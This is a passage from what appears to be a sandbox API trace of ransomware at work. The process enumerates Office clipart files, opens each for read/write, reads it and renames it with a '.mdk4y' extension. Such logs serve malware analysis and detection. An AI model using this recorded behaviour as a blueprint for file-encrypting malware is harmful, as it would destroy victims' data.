office\\clipart\\pub60cor\\psretro.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.214] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3d6, lpOverlapped=0x0) returned 1 [0173.215] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf.mdk4y")) returned 1 [0173.216] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.216] AreFileApisANSI () returned 1 [0173.216] GetACP () returned 0x4e4 [0173.216] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PSSKETLG.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PSSKETLG.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.216] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.217] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe0a, lpOverlapped=0x0) returned 1 [0173.219] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf.mdk4y")) returned 1 [0173.219] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.219] AreFileApisANSI () returned 1 [0173.219] GetACP () returned 0x4e4 [0173.219] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PSSKETSM.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PSSKETSM.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.220] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.223] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x776, lpOverlapped=0x0) returned 1 [0173.224] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf.mdk4y")) returned 1 [0173.231] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.231] AreFileApisANSI () returned 1 [0173.231] GetACP () returned 0x4e4 [0173.231] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PSWAVY.WMF", cchWideChar=10, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PSWAVY.WMFMF", lpUsedDefaultChar=0x37df4c) returned 10 [0173.231] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.232] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb12, lpOverlapped=0x0) returned 1 [0173.233] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf.mdk4y")) returned 1 [0173.234] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.234] AreFileApisANSI () returned 1 [0173.234] GetACP () returned 0x4e4 [0173.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RE00006_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="RE00006_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.234] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.245] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6ec, lpOverlapped=0x0) returned 1 [0173.257] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf.mdk4y")) returned 1 [0173.258] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.258] AreFileApisANSI () returned 1 [0173.258] GetACP () returned 0x4e4 [0173.258] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RECYCLE.WMF", cchWideChar=11, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="RECYCLE.WMFF", lpUsedDefaultChar=0x37df4c) returned 11 [0173.259] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.259] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd16, lpOverlapped=0x0) returned 1 [0173.261] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf.mdk4y")) returned 1 [0173.261] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.261] AreFileApisANSI () returned 1 [0173.262] GetACP () returned 0x4e4 [0173.262] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ROAD_01.MID", cchWideChar=11, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ROAD_01.MID", lpUsedDefaultChar=0x37df4c) returned 11 [0173.262] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.262] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x175f, lpOverlapped=0x0) returned 1 [0173.275] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.mdk4y")) returned 1 [0173.276] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.276] AreFileApisANSI () returned 1 [0173.276] GetACP () returned 0x4e4 [0173.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SAFRI_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SAFRI_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0173.276] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.277] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x278a, lpOverlapped=0x0) returned 1 [0173.278] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.mdk4y")) returned 1 [0173.279] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.280] AreFileApisANSI () returned 1 [0173.280] GetACP () returned 0x4e4 [0173.280] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCHOL_02.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SCHOL_02.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0173.280] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.281] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x13c2, lpOverlapped=0x0) returned 1 [0173.289] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.mdk4y")) returned 1 [0173.290] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.290] AreFileApisANSI () returned 1 [0173.290] GetACP () returned 0x4e4 [0173.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SHOW_01.MID", cchWideChar=11, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SHOW_01.MIDD", lpUsedDefaultChar=0x37df4c) returned 11 [0173.290] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.290] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x18f8, lpOverlapped=0x0) returned 1 [0173.293] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.mdk4y")) returned 1 [0173.294] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.294] AreFileApisANSI () returned 1 [0173.294] GetACP () returned 0x4e4 [0173.294] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SL00256_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SL00256_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.294] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.295] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a0a, lpOverlapped=0x0) returned 1 [0173.302] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf.mdk4y")) returned 1 [0173.303] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.303] AreFileApisANSI () returned 1 [0173.303] GetACP () returned 0x4e4 [0173.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SL00260_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SL00260_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.303] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.303] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7ca4, lpOverlapped=0x0) returned 1 [0173.315] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf.mdk4y")) returned 1 [0173.316] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.316] AreFileApisANSI () returned 1 [0173.316] GetACP () returned 0x4e4 [0173.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SL00268_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SL00268_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.317] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.317] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf5c, lpOverlapped=0x0) returned 1 [0173.324] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00268_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00268_.wmf.mdk4y")) returned 1 [0173.325] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.325] AreFileApisANSI () returned 1 [0173.325] GetACP () returned 0x4e4 [0173.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SL00286_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SL00286_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.325] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.326] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1dac, lpOverlapped=0x0) returned 1 [0173.333] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00286_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00286_.wmf.mdk4y")) returned 1 [0173.333] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.333] AreFileApisANSI () returned 1 [0173.333] GetACP () returned 0x4e4 [0173.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SL00298_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SL00298_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.334] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.335] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1268, lpOverlapped=0x0) returned 1 [0173.342] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00298_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00298_.wmf.mdk4y")) returned 1 [0173.344] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.344] AreFileApisANSI () returned 1 [0173.344] GetACP () returned 0x4e4 [0173.344] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SL00308_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SL00308_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.344] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.344] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x20e0, lpOverlapped=0x0) returned 1 [0173.356] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf.mdk4y")) returned 1 [0173.357] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.357] AreFileApisANSI () returned 1 [0173.357] GetACP () returned 0x4e4 [0173.357] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SL00345_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SL00345_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.357] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.358] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xae4, lpOverlapped=0x0) returned 1 [0173.363] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf.mdk4y")) returned 1 [0173.364] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.364] AreFileApisANSI () returned 1 [0173.364] GetACP () returned 0x4e4 [0173.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SL00452_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SL00452_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.364] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.365] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824859500000) returned 1 [0173.365] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x540, lpOverlapped=0x0) returned 1 [0173.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824860200000) returned 1 [0173.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824860200000) returned 1 [0173.372] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft 